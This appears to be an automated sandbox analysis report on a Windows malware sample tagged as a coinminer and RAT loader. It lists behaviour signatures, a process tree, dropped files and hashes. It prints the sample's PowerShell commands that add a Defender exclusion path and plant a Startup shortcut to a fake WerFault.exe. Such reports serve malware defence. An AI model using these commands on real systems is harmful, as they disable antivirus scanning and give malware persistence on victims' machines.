Analysis

  • max time kernel
    150s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/07/2026, 08:53

General

  • Target
    2026-07-30_630ae4b79f29978edc9d618a2a58838f_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
  • Size 5.8MB
  • Sample260730-kth2msfp9s
  • SHA256 9fd03ee6a9854b98498b9387b710eaea40801c47eb797fe9a9d0898a63da8cb9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DonutLoader

    DonutLoader is a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies.

  • Detects DonutLoader 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 3 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

    A root certificate was added, modified, or removed in the trusted certificate store registry paths.

  • Modifies registry class 2 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-30_630ae4b79f29978edc9d618a2a58838f_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-30_630ae4b79f29978edc9d618a2a58838f_coinminer_dosia_glassworm_poet-rat_quasar-rat_snatch.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5440
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $s = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk'); $s.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\WerFault.exe'; $s.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $s.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1840
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Executes dropped EXE
      • Modifies trusted root certificate store through registry
      • Modifies system certificate store
      • Suspicious use of WriteProcessMemory
      PID:2276
      • C:\Windows\explorer.exe
        explorer.exe
        3⤵
        • Modifies registry class
        PID:5524
  • C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
    C:\PROGRA~3\MICROS~1\Windows\WER\WerFault.exe
    1⤵
    • Executes dropped EXE
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2256
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\WER'"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1688
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "$WshShell = New-Object -ComObject WScript.Shell; $s = $WshShell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk'); $s.TargetPath = 'C:\ProgramData\Microsoft\Windows\WER\WerFault.exe'; $s.WorkingDirectory = 'C:\ProgramData\Microsoft\Windows\WER'; $s.Save()"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2108
    • C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
      "C:\ProgramData\Microsoft\Windows\WER\WerFault.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4252
      • C:\Windows\explorer.exe
        explorer.exe
        3⤵
        • Modifies registry class
        PID:2644

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        WerFault.exe

        • Path C:\ProgramData\Microsoft\Windows\WER\WerFault.exe
        • Size 5.8MB
        • SHA256 9fd03ee6a9854b98498b9387b710eaea40801c47eb797fe9a9d0898a63da8cb9
        • MD5 SHA1 SHA512 SSDEEP TLSH

        werdata.db

        • Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
        • Size 11.8MB
        • SHA256 a4d0ec3fdd0d8e825d397e15730ae513a54243da7132c1e1764596b342e7bcc7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        werdata.db

        • Path C:\ProgramData\Microsoft\Windows\WER\werdata.db
        • Size 11.8MB
        • SHA256 40a056e16781df170d53b2feebaaa2f2f9d7ee37736ec100d7fb8a0a12c76386
        • MD5 SHA1 SHA512 SSDEEP TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 991b03752a3415873b79130c8b4ab4ca6f9a06afb990c7dd0ecc6fa72e3f2439
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a976a31824c3a0cc2a6b0fd9ec6045c398d82990e5e96df2ad86ba09a9b05be5
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_njd2xdjp.y0i.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_njd2xdjp.y0i.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        WerFault.exe.lnk

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WerFault.exe.lnk
        • Size 1KB
        • SHA256 78fd93df9d6593e1e426ad2cdb662012f53ead2626e038d6834fe2cdf4a78b24
        • MD5 SHA1 SHA512 TLSH

        memory/1688-40-0x000001E4DE540000-0x000001E4DE5F2000-memory.dmp

        memory/2644-60-0x00000000010A0000-0x0000000001C6F000-memory.dmp

        memory/2644-56-0x00000000010A0000-0x0000000001C6F000-memory.dmp

        memory/5440-20-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-10-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-18-0x0000021E96E90000-0x0000021E96E9A000-memory.dmp

        memory/5440-1-0x00007FF82623F000-0x00007FF826240000-memory.dmp

        memory/5440-21-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-16-0x0000021EAEFF0000-0x0000021EAF00E000-memory.dmp

        memory/5440-13-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-12-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-11-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-17-0x0000021EAF270000-0x0000021EAF322000-memory.dmp

        memory/5440-4-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-9-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-8-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-6-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-7-0x00007FF8260B0000-0x00007FF826A54000-memory.dmp

        memory/5440-5-0x0000021E96E40000-0x0000021E96E62000-memory.dmp

        memory/5524-50-0x0000000000800000-0x00000000013CF000-memory.dmp

        memory/5524-48-0x0000000000800000-0x00000000013CF000-memory.dmp